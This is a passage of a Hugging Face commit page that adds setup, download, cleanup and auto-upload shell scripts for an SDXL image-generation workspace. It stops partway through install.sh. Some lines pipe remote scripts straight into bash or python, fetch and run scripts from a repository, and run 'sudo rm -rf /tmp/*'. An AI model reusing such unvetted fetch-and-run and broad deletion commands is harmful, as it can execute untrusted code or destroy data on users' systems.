Commit
·
6726122
1
Parent(s):
ffbd680
init
Browse files- .gitattributes +0 -35
- apatch.sh +39 -0
- autoUpload.sh +113 -0
- commit.bat +30 -0
- downs.sh +114 -0
- e +84 -0
- forcePull.bat +11 -0
- forcePull.sh +63 -0
- gc.sh +28 -0
- install.sh +71 -0
- myRun.ipynb +61 -0
- out.sh +49 -0
- run.sh +11 -0
.gitattributes
DELETED
@@ -1,35 +0,0 @@
|
|
1 |
-
*.7z filter=lfs diff=lfs merge=lfs -text
|
2 |
-
*.arrow filter=lfs diff=lfs merge=lfs -text
|
3 |
-
*.bin filter=lfs diff=lfs merge=lfs -text
|
4 |
-
*.bz2 filter=lfs diff=lfs merge=lfs -text
|
5 |
-
*.ckpt filter=lfs diff=lfs merge=lfs -text
|
6 |
-
*.ftz filter=lfs diff=lfs merge=lfs -text
|
7 |
-
*.gz filter=lfs diff=lfs merge=lfs -text
|
8 |
-
*.h5 filter=lfs diff=lfs merge=lfs -text
|
9 |
-
*.joblib filter=lfs diff=lfs merge=lfs -text
|
10 |
-
*.lfs.* filter=lfs diff=lfs merge=lfs -text
|
11 |
-
*.mlmodel filter=lfs diff=lfs merge=lfs -text
|
12 |
-
*.model filter=lfs diff=lfs merge=lfs -text
|
13 |
-
*.msgpack filter=lfs diff=lfs merge=lfs -text
|
14 |
-
*.npy filter=lfs diff=lfs merge=lfs -text
|
15 |
-
*.npz filter=lfs diff=lfs merge=lfs -text
|
16 |
-
*.onnx filter=lfs diff=lfs merge=lfs -text
|
17 |
-
*.ot filter=lfs diff=lfs merge=lfs -text
|
18 |
-
*.parquet filter=lfs diff=lfs merge=lfs -text
|
19 |
-
*.pb filter=lfs diff=lfs merge=lfs -text
|
20 |
-
*.pickle filter=lfs diff=lfs merge=lfs -text
|
21 |
-
*.pkl filter=lfs diff=lfs merge=lfs -text
|
22 |
-
*.pt filter=lfs diff=lfs merge=lfs -text
|
23 |
-
*.pth filter=lfs diff=lfs merge=lfs -text
|
24 |
-
*.rar filter=lfs diff=lfs merge=lfs -text
|
25 |
-
*.safetensors filter=lfs diff=lfs merge=lfs -text
|
26 |
-
saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
27 |
-
*.tar.* filter=lfs diff=lfs merge=lfs -text
|
28 |
-
*.tar filter=lfs diff=lfs merge=lfs -text
|
29 |
-
*.tflite filter=lfs diff=lfs merge=lfs -text
|
30 |
-
*.tgz filter=lfs diff=lfs merge=lfs -text
|
31 |
-
*.wasm filter=lfs diff=lfs merge=lfs -text
|
32 |
-
*.xz filter=lfs diff=lfs merge=lfs -text
|
33 |
-
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
-
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
-
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
apatch.sh
ADDED
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
if [ ! -d "/workspace/firstContainer/CU" ]; then
|
4 |
+
exit 101
|
5 |
+
fi
|
6 |
+
|
7 |
+
cd /workspace
|
8 |
+
cd *
|
9 |
+
|
10 |
+
rm -rf gc.sh
|
11 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/gc.sh
|
12 |
+
rm -rf run.sh
|
13 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/run.sh
|
14 |
+
rm -rf myRun.ipynb
|
15 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/myRun.ipynb
|
16 |
+
rm -rf pOut.py
|
17 |
+
rm -rf out.sh
|
18 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/out.sh
|
19 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/e
|
20 |
+
|
21 |
+
cd CU
|
22 |
+
#git gc
|
23 |
+
|
24 |
+
rm -rf ./temp
|
25 |
+
rm -rf downs.sh
|
26 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/downs.sh
|
27 |
+
|
28 |
+
cd /workspace
|
29 |
+
cd *
|
30 |
+
|
31 |
+
sh ./CU/downs.sh $1 0
|
32 |
+
sh forcePull.sh
|
33 |
+
sh gc.sh 1
|
34 |
+
|
35 |
+
pip cache purge && sudo apt clean
|
36 |
+
|
37 |
+
rm -rf apatch.sh
|
38 |
+
|
39 |
+
exit 0
|
autoUpload.sh
ADDED
@@ -0,0 +1,113 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
# version 1
|
4 |
+
|
5 |
+
# output filename add
|
6 |
+
FLAG_NAME=$1
|
7 |
+
|
8 |
+
# null
|
9 |
+
FLAG_NULL=$2
|
10 |
+
|
11 |
+
# flag Key
|
12 |
+
FLAG_KEY=$3
|
13 |
+
|
14 |
+
if [ -z "$FLAG_NAME" ] || [ "$FLAG_NAME" = " " ]; then
|
15 |
+
FLAG_NAME="null"
|
16 |
+
fi
|
17 |
+
if [ -z "$FLAG_NULL" ]; then
|
18 |
+
FLAG_NULL="null"
|
19 |
+
fi
|
20 |
+
if [ -z "$FLAG_KEY" ]; then
|
21 |
+
FLAG_KEY="null"
|
22 |
+
fi
|
23 |
+
|
24 |
+
cd /workspace
|
25 |
+
cd *
|
26 |
+
|
27 |
+
R_PATH="$(pwd)"
|
28 |
+
|
29 |
+
if [ ! -d "$R_PATH/CU" ]; then
|
30 |
+
echo "CU folder not found."
|
31 |
+
exit 101
|
32 |
+
fi
|
33 |
+
|
34 |
+
MUID=""
|
35 |
+
|
36 |
+
if [ -f "$R_PATH/CU/MUID.txt" ]; then
|
37 |
+
MUID=$(<./CU/MUID.txt)
|
38 |
+
MUID=${MUID%%+( )}
|
39 |
+
MUID=${MUID%%+(\n)}
|
40 |
+
#MUID_LEN=${#MUID}
|
41 |
+
#MUID=${MUID:1:MUID_LEN-2}
|
42 |
+
else
|
43 |
+
RANDOM_STR1="$(head -c 128 /dev/urandom | tr -dc 'A-Z')ZZ"
|
44 |
+
RANDOM_STR2="$(head -c 384 /dev/urandom | tr -dc 'A-Z0-9')ZZZZZZZZZZZZZZ"
|
45 |
+
MUID="${RANDOM_STR1::1}${RANDOM_STR2::14}${RANDOM_STR1:1:1}"
|
46 |
+
echo -e "$MUID" >> ./CU/MUID.txt
|
47 |
+
fi
|
48 |
+
|
49 |
+
if [ ! -f "$R_PATH/CU/autoUpload_Log.txt" ]; then
|
50 |
+
touch ./CU/autoUpload_Log.txt
|
51 |
+
fi
|
52 |
+
|
53 |
+
if [ ! -f "$R_PATH/CU/autoUpload_UploadQueueIng.txt" ]; then
|
54 |
+
touch ./CU/autoUpload_UploadQueueIng.txt
|
55 |
+
fi
|
56 |
+
|
57 |
+
if [ ! -f "$R_PATH/CU/autoUpload_UploadQueueDone.txt" ]; then
|
58 |
+
touch ./CU/autoUpload_UploadQueueDone.txt
|
59 |
+
fi
|
60 |
+
|
61 |
+
OUPUT_PATH=""
|
62 |
+
|
63 |
+
if [ -d "$R_PATH/output" ]; then
|
64 |
+
OUPUT_PATH="output"
|
65 |
+
elif [ -d "$R_PATH/outputs" ]; then
|
66 |
+
OUPUT_PATH="outputs"
|
67 |
+
elif [ -d "$R_PATH/CU/output" ]; then
|
68 |
+
OUPUT_PATH="CU/output"
|
69 |
+
elif [ -d "$R_PATH/CU/outputs" ]; then
|
70 |
+
OUPUT_PATH="CU/outputs"
|
71 |
+
else
|
72 |
+
echo "output folder not found."
|
73 |
+
exit 102
|
74 |
+
fi
|
75 |
+
|
76 |
+
#echo "$FLAG_NAME $FLAG_NULL $FLAG_KEY $R_PATH $OUPUT_PATH $MUID"
|
77 |
+
|
78 |
+
if [ "$FLAG_KEY" = "null" ]; then
|
79 |
+
# enter when the user runs manually.
|
80 |
+
apt-get install -y inotify-tools
|
81 |
+
apt-get install -y zip
|
82 |
+
pip3 install pcloud
|
83 |
+
CURRNET_PID=$$
|
84 |
+
#kill -9 $(ps -ef | grep 'autoUpload' | grep -v 'grep' | awk '{print $2}')
|
85 |
+
kill -9 $(ps -ef | grep 'autoUpload' | grep -v 'grep' | awk -v pid=$CURRNET_PID '$2 != pid {print $2}')
|
86 |
+
FLAG_KEY="startDaemon"
|
87 |
+
bash -c ". $R_PATH/autoUpload.sh $FLAG_NAME $FLAG_NULL $FLAG_KEY"
|
88 |
+
elif [ "$FLAG_KEY" = "startDaemon" ]; then
|
89 |
+
cd /workspace
|
90 |
+
cd *
|
91 |
+
FLAG_KEY="runningDaemon"
|
92 |
+
chmod 755 autoUpload.sh
|
93 |
+
nohup ./autoUpload.sh $FLAG_NAME $FLAG_NULL $FLAG_KEY 2>&1 &
|
94 |
+
elif [ "$FLAG_KEY" = "runningDaemon" ]; then
|
95 |
+
cd /workspace
|
96 |
+
cd *
|
97 |
+
while :
|
98 |
+
do
|
99 |
+
bash -c ". $R_PATH/out.sh 1 $FLAG_NAME"
|
100 |
+
sleep 288s
|
101 |
+
for item in $(find . -name "output_${FLAG_NAME}*.zip"); do
|
102 |
+
rm -rf $item
|
103 |
+
done
|
104 |
+
sleep 10s
|
105 |
+
done
|
106 |
+
elif [ "$FLAG_KEY" = "clean" ]; then
|
107 |
+
rm -rf "$R_PATH/CU/autoUpload_UploadQueueIng.txt"
|
108 |
+
rm -rf "$R_PATH/CU/autoUpload_UploadQueueDone.txt"
|
109 |
+
elif [ "$FLAG_KEY" = "kill" ]; then
|
110 |
+
kill -15 $(ps -ef | grep 'autoUpload.sh' | grep -v 'grep' | awk '{print $2}')
|
111 |
+
else
|
112 |
+
:
|
113 |
+
fi
|
commit.bat
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
@echo off
|
2 |
+
|
3 |
+
git config user.name "anonymous"
|
4 |
+
git config user.email my@gmail.com
|
5 |
+
|
6 |
+
set /P comment=Comment?
|
7 |
+
|
8 |
+
if not "%comment%" == "" goto :next
|
9 |
+
set comment=auto
|
10 |
+
:next
|
11 |
+
|
12 |
+
git reset
|
13 |
+
|
14 |
+
::git add *.* --force
|
15 |
+
::git add *
|
16 |
+
git add --all
|
17 |
+
|
18 |
+
echo ----- git add done ------
|
19 |
+
|
20 |
+
git status
|
21 |
+
|
22 |
+
echo ready. press any key to commit START.
|
23 |
+
::timeout /t 1
|
24 |
+
pause
|
25 |
+
|
26 |
+
git commit -m "%comment%"
|
27 |
+
|
28 |
+
git push -u origin main
|
29 |
+
|
30 |
+
pause
|
downs.sh
ADDED
@@ -0,0 +1,114 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
# 1 2 3 ..
|
4 |
+
CHECKPOINT=$1
|
5 |
+
|
6 |
+
# 1 2 3 4 5 .. OR 12 235 ..
|
7 |
+
RC=$2
|
8 |
+
|
9 |
+
GOORM="0"
|
10 |
+
if [ -d "/workspace/firstContainer" ]; then
|
11 |
+
GOORM="1"
|
12 |
+
fi
|
13 |
+
|
14 |
+
RELATIVE_DIR=`dirname "$0"`
|
15 |
+
cd $RELATIVE_DIR
|
16 |
+
|
17 |
+
if [ ! -d "CU" ]; then
|
18 |
+
cd CU
|
19 |
+
else
|
20 |
+
cd CU*
|
21 |
+
fi
|
22 |
+
|
23 |
+
cd models
|
24 |
+
cd checkpoints
|
25 |
+
|
26 |
+
CK_LINK=""
|
27 |
+
|
28 |
+
case $CHECKPOINT in
|
29 |
+
0)
|
30 |
+
echo "CHECKPOINT pass."
|
31 |
+
;;
|
32 |
+
1)
|
33 |
+
CK_LINK="https://huggingface.co/Magamanny/Pony-Diffusion-V6-XL/resolve/main/ponyDiffusionV6XL_v6StartWithThisOne.safetensors"
|
34 |
+
;;
|
35 |
+
2)
|
36 |
+
CK_LINK="https://huggingface.co/JosefJilek/moeFussion/resolve/main/moeFussionV1.1.0_PDXL_Lx7-CLIP_VAE_FP16.safetensors"
|
37 |
+
;;
|
38 |
+
3)
|
39 |
+
CK_LINK="https://huggingface.co/zuv0/test/resolve/main/MINTSDXL_LollipopMIX_A1-fp32.safetensors"
|
40 |
+
;;
|
41 |
+
4)
|
42 |
+
CK_LINK="https://huggingface.co/Bulkbogan20/autismmix/resolve/main/autismmixSDXL_autismmixPony.safetensors"
|
43 |
+
;;
|
44 |
+
5)
|
45 |
+
CK_LINK="https://huggingface.co/zuv0/test/resolve/main/lemontart_v20.safetensors"
|
46 |
+
;;
|
47 |
+
6)
|
48 |
+
CK_LINK="https://huggingface.co/zuv0/test/resolve/main/grimoire_p0666.safetensors"
|
49 |
+
;;
|
50 |
+
a)
|
51 |
+
CK_LINK="https://huggingface.co/cagliostrolab/animagine-xl-3.1/resolve/main/animagine-xl-3.1.safetensors"
|
52 |
+
;;
|
53 |
+
*)
|
54 |
+
echo "CHECKPOINT error!"
|
55 |
+
;;
|
56 |
+
esac
|
57 |
+
|
58 |
+
#CK_LINK="https://huggingface.co/zuv0/test/resolve/main/waiCUTE_v20.safetensors"
|
59 |
+
#CK_LINK="https://huggingface.co/GianPehn/PD_for_Anime/resolve/main/pdForAnime_v20.safetensors"
|
60 |
+
#CK_LINK="https://huggingface.co/Walkearth4/Collection/resolve/main/chenkinAnimeHotbaby_v20.safetensors"
|
61 |
+
#CK_LINK="https://huggingface.co/zuv0/test/resolve/main/copycatASC_v10.safetensors"
|
62 |
+
#CK_LINK="https://huggingface.co/zuv0/test/resolve/main/catdash_v10.safetensors"
|
63 |
+
|
64 |
+
if [ -n "$CK_LINK" ]; then
|
65 |
+
CK_FILE=${CK_LINK##*/}
|
66 |
+
if [ -f "$CK_FILE" ]; then
|
67 |
+
\mv -f "$CK_FILE" "../$CK_FILE"
|
68 |
+
rm -rf *.safetensors
|
69 |
+
rm -rf *.ckpt
|
70 |
+
\mv -f "../$CK_FILE" "$CK_FILE"
|
71 |
+
else
|
72 |
+
rm -rf *.safetensors
|
73 |
+
rm -rf *.ckpt
|
74 |
+
if [ "$GOORM" == "1" ]; then
|
75 |
+
wget –limit-rate=49999k -N "$CK_LINK"
|
76 |
+
else
|
77 |
+
wget -N "$CK_LINK"
|
78 |
+
fi
|
79 |
+
fi
|
80 |
+
fi
|
81 |
+
|
82 |
+
cd ..
|
83 |
+
cd loras
|
84 |
+
|
85 |
+
case $RC in
|
86 |
+
0)
|
87 |
+
echo "RCXL pass."
|
88 |
+
;;
|
89 |
+
*)
|
90 |
+
RCLIST="1 2 3 4 5 6 7 8 9"
|
91 |
+
|
92 |
+
for var in $RCLIST
|
93 |
+
do
|
94 |
+
rm -rf RC$var
|
95 |
+
done
|
96 |
+
|
97 |
+
while [ $RC -gt 0 ]; do
|
98 |
+
digit=$((RC % 10))
|
99 |
+
if [ ! -d "RCXL$digit" ]; then
|
100 |
+
git clone https://huggingface.co/zuv0/RCXL$digit
|
101 |
+
cd RCXL$digit
|
102 |
+
git repack -a -d --depth=250 --window=250
|
103 |
+
cd .git
|
104 |
+
rm -rf lfs
|
105 |
+
cd ..
|
106 |
+
cd ..
|
107 |
+
fi
|
108 |
+
RC=$((RC / 10))
|
109 |
+
done
|
110 |
+
;;
|
111 |
+
esac
|
112 |
+
|
113 |
+
cd ..
|
114 |
+
cd ..
|
e
ADDED
@@ -0,0 +1,84 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
FLAG_1=$1
|
4 |
+
FLAG_2=$2
|
5 |
+
FLAG_3=$3
|
6 |
+
R_PATH="$(pwd)"
|
7 |
+
CURRENT_DATE=$(date +"%Y%m%d_%H%M%S")
|
8 |
+
MUID=""
|
9 |
+
OUPUT_PATH=""
|
10 |
+
|
11 |
+
if [ -d "$R_PATH/output" ]; then
|
12 |
+
OUPUT_PATH="output"
|
13 |
+
elif [ -d "$R_PATH/outputs" ]; then
|
14 |
+
OUPUT_PATH="outputs"
|
15 |
+
elif [ -d "$R_PATH/CU/output" ]; then
|
16 |
+
OUPUT_PATH="CU/output"
|
17 |
+
elif [ -d "$R_PATH/CU/outputs" ]; then
|
18 |
+
OUPUT_PATH="CU/outputs"
|
19 |
+
else
|
20 |
+
OUPUT_PATH="CU/output"
|
21 |
+
fi
|
22 |
+
|
23 |
+
if [ -f "$R_PATH/CU/MUID.txt" ]; then
|
24 |
+
MUID=$(<./CU/MUID.txt)
|
25 |
+
MUID=${MUID%%+( )}
|
26 |
+
MUID=${MUID%%+(\n)}
|
27 |
+
#MUID_LEN=${#MUID}
|
28 |
+
#MUID=${MUID:1:MUID_LEN-2}
|
29 |
+
else
|
30 |
+
RANDOM_STR1="$(head -c 128 /dev/urandom | tr -dc 'A-Z')ZZ"
|
31 |
+
RANDOM_STR2="$(head -c 384 /dev/urandom | tr -dc 'A-Z0-9')ZZZZZZZZZZZZZZ"
|
32 |
+
MUID="${RANDOM_STR1::1}${RANDOM_STR2::14}${RANDOM_STR1:1:1}"
|
33 |
+
echo -e "$MUID" >> ./CU/MUID.txt
|
34 |
+
fi
|
35 |
+
|
36 |
+
MUIDL="${MUID::3}${MUID:13:3}"
|
37 |
+
|
38 |
+
if [[ "$FLAG_1" =~ h ]]; then
|
39 |
+
echo -e " k : kill main.sh\n u : autoUpload MUID3+3\n @ : outputs/t2i folder to rename\n f : forcePull\n o : out.sh\n g : gc.sh\n e : current chackpoint del\n d 0~9 : chackpoint download\n r : run.sh\n example : . e kdr 4"
|
40 |
+
else
|
41 |
+
if [[ "$FLAG_1" =~ k ]]; then
|
42 |
+
kill -9 $(ps -ef | grep 'main.py' | grep -v 'grep' | awk '{print $2}')
|
43 |
+
fi
|
44 |
+
|
45 |
+
if [[ "$FLAG_1" =~ u ]]; then
|
46 |
+
curl -L -O https://huggingface.co/zuv0/CUXL/resolve/main/autoUpload.sh
|
47 |
+
sleep 1
|
48 |
+
bash -c ". ./autoUpload.sh $MUIDL"
|
49 |
+
fi
|
50 |
+
|
51 |
+
if [[ "$FLAG_1" =~ @ ]]; then
|
52 |
+
if [ -d "$R_PATH/$OUPUT_PATH/txt2img-images" ]; then
|
53 |
+
RANDOM_STR="$(head -c 128 /dev/urandom | tr -dc 'A-Z')ZZZ"
|
54 |
+
RENAME_NAME="t2i_${RANDOM_STR::4}${CURRENT_DATE}"
|
55 |
+
\mv -f "$R_PATH/$OUPUT_PATH/txt2img-images" "$R_PATH/$OUPUT_PATH/${RENAME_NAME}"
|
56 |
+
echo -e "rename txt2img-images -> ${RENAME_NAME}"
|
57 |
+
fi
|
58 |
+
fi
|
59 |
+
|
60 |
+
if [[ "$FLAG_1" =~ f ]]; then
|
61 |
+
bash -c ". $R_PATH/forcePull.sh"
|
62 |
+
fi
|
63 |
+
|
64 |
+
if [[ "$FLAG_1" =~ o ]]; then
|
65 |
+
bash -c ". $R_PATH/out.sh"
|
66 |
+
fi
|
67 |
+
|
68 |
+
if [[ "$FLAG_1" =~ g ]]; then
|
69 |
+
bash -c ". $R_PATH/gc.sh"
|
70 |
+
fi
|
71 |
+
|
72 |
+
if [[ "$FLAG_1" =~ e ]]; then
|
73 |
+
bash -c ". $R_PATH/CU/downs.sh gc"
|
74 |
+
fi
|
75 |
+
|
76 |
+
if [[ "$FLAG_1" =~ d ]]; then
|
77 |
+
bash -c ". $R_PATH/CU/downs.sh $FLAG_2 0"
|
78 |
+
fi
|
79 |
+
|
80 |
+
if [[ "$FLAG_1" =~ r ]]; then
|
81 |
+
bash -c ". $R_PATH/run.sh"
|
82 |
+
fi
|
83 |
+
|
84 |
+
fi
|
forcePull.bat
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
@echo off
|
2 |
+
|
3 |
+
git fetch --all
|
4 |
+
git reset --hard origin/main
|
5 |
+
git pull
|
6 |
+
git repack -a -d --depth=250 --window=250
|
7 |
+
cd .git
|
8 |
+
rmdir /S /Q lfs
|
9 |
+
cd ..
|
10 |
+
|
11 |
+
pause
|
forcePull.sh
ADDED
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
cd /workspace/*/CU/models
|
4 |
+
git fetch --all
|
5 |
+
git reset --hard origin/main
|
6 |
+
git pull
|
7 |
+
#rsync -r "embeddings/" "../embeddings/"
|
8 |
+
git repack -a -d --depth=250 --window=250
|
9 |
+
cd .git
|
10 |
+
rm -rf lfs
|
11 |
+
|
12 |
+
cd /workspace/*/CU/models/loras
|
13 |
+
if [ -d "RCXL1" ]; then
|
14 |
+
cd RCXL1
|
15 |
+
git fetch --all
|
16 |
+
git reset --hard origin/main
|
17 |
+
git pull
|
18 |
+
git repack -a -d --depth=250 --window=250
|
19 |
+
cd .git
|
20 |
+
rm -rf lfs
|
21 |
+
fi
|
22 |
+
cd /workspace/*/CU/models/loras
|
23 |
+
if [ -d "RCXL2" ]; then
|
24 |
+
cd RCXL2
|
25 |
+
git fetch --all
|
26 |
+
git reset --hard origin/main
|
27 |
+
git pull
|
28 |
+
git repack -a -d --depth=250 --window=250
|
29 |
+
cd .git
|
30 |
+
rm -rf lfs
|
31 |
+
fi
|
32 |
+
cd /workspace/*/CU/models/loras
|
33 |
+
if [ -d "RCXL3" ]; then
|
34 |
+
cd RCXL3
|
35 |
+
git fetch --all
|
36 |
+
git reset --hard origin/main
|
37 |
+
git pull
|
38 |
+
git repack -a -d --depth=250 --window=250
|
39 |
+
cd .git
|
40 |
+
rm -rf lfs
|
41 |
+
fi
|
42 |
+
cd /workspace/*/CU/models/loras
|
43 |
+
if [ -d "RCXL4" ]; then
|
44 |
+
cd RCXL4
|
45 |
+
git fetch --all
|
46 |
+
git reset --hard origin/main
|
47 |
+
git pull
|
48 |
+
git repack -a -d --depth=250 --window=250
|
49 |
+
cd .git
|
50 |
+
rm -rf lfs
|
51 |
+
fi
|
52 |
+
cd /workspace/*/CU/models/loras
|
53 |
+
if [ -d "RCXL5" ]; then
|
54 |
+
cd RCXL5
|
55 |
+
git fetch --all
|
56 |
+
git reset --hard origin/main
|
57 |
+
git pull
|
58 |
+
git repack -a -d --depth=250 --window=250
|
59 |
+
cd .git
|
60 |
+
rm -rf lfs
|
61 |
+
fi
|
62 |
+
|
63 |
+
cd /workspace/*
|
gc.sh
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
FLAG_1=$1
|
4 |
+
|
5 |
+
cd /workspace
|
6 |
+
rm -rf output
|
7 |
+
rm -rf outputs
|
8 |
+
rm -f out*.tar*
|
9 |
+
rm -f out*.zip*
|
10 |
+
|
11 |
+
cd *
|
12 |
+
rm -rf output
|
13 |
+
rm -rf outputs
|
14 |
+
rm -f out*.tar*
|
15 |
+
rm -f out*.zip*
|
16 |
+
|
17 |
+
cd CU
|
18 |
+
rm -rf output
|
19 |
+
rm -rf outputs
|
20 |
+
|
21 |
+
if [ ${FLAG_1} -eq "1" ]; then
|
22 |
+
sudo rm -rf /tmp/*
|
23 |
+
else
|
24 |
+
find /tmp -mtime +2 -delete
|
25 |
+
fi
|
26 |
+
|
27 |
+
cd /workspace
|
28 |
+
cd *
|
install.sh
ADDED
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
cd /workspace/*
|
3 |
+
mkdir -p tmp
|
4 |
+
rm -rf README.md
|
5 |
+
rm -rf s
|
6 |
+
rm -rf ss.sh
|
7 |
+
|
8 |
+
apt-get update
|
9 |
+
sudo apt install -y python3.10
|
10 |
+
sudo apt-get install -y python3.10-distutils
|
11 |
+
sudo apt-get install git-lfs
|
12 |
+
sudo apt install -y libtcmalloc-minimal4
|
13 |
+
apt-get -y install rsync
|
14 |
+
apt-get -y install zip
|
15 |
+
|
16 |
+
curl -sS https://bootstrap.pypa.io/get-pip.py | python3.10
|
17 |
+
python3.10 -m pip install --upgrade pip
|
18 |
+
python3.10 -m pip install setuptools
|
19 |
+
python3.10 -m pip install requests
|
20 |
+
python3.10 -m pip install wget
|
21 |
+
python3.10 -m pip install gdown
|
22 |
+
python3.10 -m pip install pcloud
|
23 |
+
python3.10 -m pip install natsort
|
24 |
+
python3.10 -m pip install httpcore
|
25 |
+
python3.10 -m pip install pyyaml
|
26 |
+
|
27 |
+
curl -s https://packagecloud.io/install/repositories/github/git-lfs/script.deb.sh | sudo bash
|
28 |
+
git config --global user.name "anonymous"
|
29 |
+
git config --global user.email my@gmail.com
|
30 |
+
git lfs install --force
|
31 |
+
sudo apt update && sudo apt install -y libgl1-mesa-glx
|
32 |
+
sudo apt autoremove && sudo apt clean
|
33 |
+
|
34 |
+
cd /workspace/*/CU
|
35 |
+
curl -L -O https://huggingface.co/zuv0/test/resolve/main/CU.tar
|
36 |
+
tar -xvf CU.tar
|
37 |
+
rm -rf CU.tar
|
38 |
+
\cp -f e "../e"
|
39 |
+
\cp -f run.sh "../run.sh"
|
40 |
+
\cp -f out.sh "../out.sh"
|
41 |
+
\cp -f gc.sh "../gc.sh"
|
42 |
+
\cp -f forcePull.sh "../forcePull.sh"
|
43 |
+
\cp -f myRun.ipynb "../myRun.ipynb"
|
44 |
+
git gc
|
45 |
+
if [ ! -d "models" ]; then
|
46 |
+
git clone https://huggingface.co/zuv0/modelsXL models
|
47 |
+
cd models
|
48 |
+
mkdir -p loras
|
49 |
+
ln ./Lora ./loras
|
